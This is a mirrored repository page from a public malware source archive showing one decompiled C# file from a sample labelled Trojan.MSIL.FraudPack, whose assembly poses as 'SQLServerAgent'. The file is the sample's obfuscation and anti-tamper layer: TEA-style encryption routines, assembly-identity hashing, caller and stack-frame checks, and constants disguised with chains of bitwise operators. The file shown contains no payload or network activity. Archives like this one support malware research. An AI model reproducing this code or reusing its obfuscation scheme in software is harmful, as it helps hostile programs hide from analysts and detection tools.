mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
vxunderground
201 lines
8.5 KiB
C#
201 lines
8.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type:
|
|
// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe
|
|
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.Reflection;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Text;
|
|
|
|
internal static class \u000E
|
|
{
|
|
private static \u000E.\u0002 \u0002 = new \u000E.\u0002();
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static long \u0002()
|
|
{
|
|
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E).Assembly || !\u000E.\u0002())
|
|
return 5038234971328056794;
|
|
lock (\u000E.\u0002)
|
|
{
|
|
long num1 = \u000E.\u0002.\u0002();
|
|
if (num1 == 0L)
|
|
{
|
|
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
|
List<byte> byteList = new List<byte>();
|
|
AssemblyName assemblyName;
|
|
try
|
|
{
|
|
assemblyName = executingAssembly.GetName();
|
|
}
|
|
catch
|
|
{
|
|
assemblyName = new AssemblyName(executingAssembly.FullName);
|
|
}
|
|
byte[] collection = assemblyName.GetPublicKeyToken();
|
|
if (collection != null && collection.Length == 0)
|
|
collection = (byte[]) null;
|
|
if (collection != null)
|
|
byteList.AddRange((IEnumerable<byte>) collection);
|
|
byteList.AddRange((IEnumerable<byte>) Encoding.Unicode.GetBytes(assemblyName.Name));
|
|
int num2 = \u000E.\u0002(typeof (\u000E));
|
|
int num3 = \u000E.\u0005.\u0002();
|
|
byteList.Add((byte) (num2 >> 24));
|
|
byteList.Add((byte) (num3 >> 16));
|
|
byteList.Add((byte) (num2 >> 8));
|
|
byteList.Add((byte) num3);
|
|
byteList.Add((byte) (num2 >> 16));
|
|
byteList.Add((byte) (num3 >> 8));
|
|
byteList.Add((byte) num2);
|
|
byteList.Add((byte) (num3 >> 24));
|
|
int count = byteList.Count;
|
|
ulong num4 = 0;
|
|
for (int index = 0; index != count; ++index)
|
|
{
|
|
ulong num5 = num4 + (ulong) byteList[index];
|
|
ulong num6 = num5 + (num5 << 20);
|
|
num4 = num6 ^ num6 >> 12;
|
|
byteList[index] = (byte) 0;
|
|
}
|
|
ulong num7 = num4 + (num4 << 6);
|
|
ulong num8 = num7 ^ num7 >> 22;
|
|
num1 = (long) (num8 + (num8 << 30)) ^ -6354475306657079513L;
|
|
\u000E.\u0002.\u0002(num1);
|
|
}
|
|
return num1;
|
|
}
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static bool \u0002() => \u000E.\u0003();
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
private static bool \u0003()
|
|
{
|
|
StackFrame frame = new StackTrace().GetFrame(3);
|
|
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
|
|
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
|
|
return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u000E).Assembly;
|
|
}
|
|
|
|
private static int \u0002(Type _param0) => _param0.MetadataToken;
|
|
|
|
private sealed class \u0002
|
|
{
|
|
private int \u0002;
|
|
private int \u0003;
|
|
|
|
internal \u0002() => this.\u0002(0L);
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal long \u0002()
|
|
{
|
|
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002).Assembly || !\u000E.\u0002())
|
|
return 2918384;
|
|
int[] numArray = new int[4]
|
|
{
|
|
0,
|
|
0,
|
|
0,
|
|
-~~-~-~-~990503695
|
|
};
|
|
numArray[1] = -~~--~-~~456139194;
|
|
numArray[2] = -~~--~-~~-113420117;
|
|
numArray[0] = -~~-~-~-~-~1852801813;
|
|
int num1 = this.\u0002;
|
|
int num2 = this.\u0003;
|
|
int num3 = ~-~--~~-~1640531524;
|
|
int num4 = -~~-~--~~-~957401310;
|
|
for (int index = 0; index != 32; ++index)
|
|
{
|
|
num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3];
|
|
num4 -= num3;
|
|
num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3];
|
|
}
|
|
for (int index = 0; index != 4; ++index)
|
|
numArray[index] = 0;
|
|
return (long) ((ulong) num2 << 32 | (ulong) (uint) num1);
|
|
}
|
|
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal void \u0002(long _param1)
|
|
{
|
|
if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002).Assembly || !\u000E.\u0002())
|
|
return;
|
|
int[] numArray = new int[4]
|
|
{
|
|
0,
|
|
-~-~-~~-~-~456139193,
|
|
0,
|
|
0
|
|
};
|
|
numArray[0] = -~-~~--~~1852801818;
|
|
numArray[2] = -~~-~-~--~~-113420120;
|
|
numArray[3] = -~~-~-~-~990503695;
|
|
int num1 = -~-~~--~~-~1640531527;
|
|
int num2 = (int) _param1;
|
|
int num3 = (int) (_param1 >> 32);
|
|
int num4 = 0;
|
|
for (int index = 0; index != 32; ++index)
|
|
{
|
|
num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3];
|
|
num4 += num1;
|
|
num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3];
|
|
}
|
|
for (int index = 0; index != 4; ++index)
|
|
numArray[index] = 0;
|
|
this.\u0002 = num2;
|
|
this.\u0003 = num3;
|
|
}
|
|
}
|
|
|
|
private static class \u0003
|
|
{
|
|
internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - ~--~~--~~-~1099352654;
|
|
|
|
internal static int \u0003(int _param0, int _param1) => _param0 - ~-~-~--~~-~-809594693 ^ _param1 + ~--~~-~-~1210238059;
|
|
|
|
internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - -~-~~--~~1694919635 ^ _param0 - _param1;
|
|
}
|
|
|
|
private sealed class \u0005
|
|
{
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0005).Assembly || !\u000E.\u0002() ? -1509110933 : \u000E.\u0003.\u0005(\u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0005)), \u000E.\u0002(typeof (\u000E.\u000F)))), \u000E.\u0002\u2000.\u0002());
|
|
}
|
|
|
|
private sealed class \u0006
|
|
{
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0006).Assembly || !\u000E.\u0002() ? -82806859 : \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0008)), \u000E.\u0002(typeof (\u000E.\u000E)) ^ \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0002\u2000)), \u000E.\u000E.\u0002())));
|
|
}
|
|
|
|
private sealed class \u0008
|
|
{
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0008).Assembly || !\u000E.\u0002() ? 1294352278 : \u000E.\u0003.\u0005(\u000E.\u0003.\u0002(\u000E.\u0006.\u0002() ^ -~~--~-~~-527758445, \u000E.\u0002(typeof (\u000E.\u000E))), \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0005)) ^ \u000E.\u0002(typeof (\u000E.\u0002\u2000)), -~~-~-~--~~-520760563));
|
|
}
|
|
|
|
private sealed class \u000E
|
|
{
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u000E).Assembly || !\u000E.\u0002() ? 402344241 : \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u000E)), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0005)), \u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u0006)), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0008)), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0002(typeof (\u000E.\u0002\u2000)))))));
|
|
}
|
|
|
|
private sealed class \u000F
|
|
{
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u000F).Assembly || !\u000E.\u0002() ? -56237163 : \u000E.\u0003.\u0003(\u000E.\u0003.\u0003(\u000E.\u0008.\u0002(), \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0006.\u0002())), \u000E.\u0002(typeof (\u000E.\u0002\u2000)));
|
|
}
|
|
|
|
private sealed class \u0002\u2000
|
|
{
|
|
[MethodImpl(MethodImplOptions.NoInlining)]
|
|
internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002\u2000).Assembly || !\u000E.\u0002() ? 1106695601 : \u000E.\u0003.\u0002(\u000E.\u0002(typeof (\u000E.\u0002\u2000)), \u000E.\u0003.\u0005(\u000E.\u0003.\u0003(\u000E.\u0002(typeof (\u000E.\u000F)), \u000E.\u0002(typeof (\u000E.\u0005))), \u000E.\u0003.\u0005(\u000E.\u0002(typeof (\u000E.\u0008)) ^ -~~-~-~-~-~523414304, \u000E.\u000F.\u0002())));
|
|
}
|
|
}
|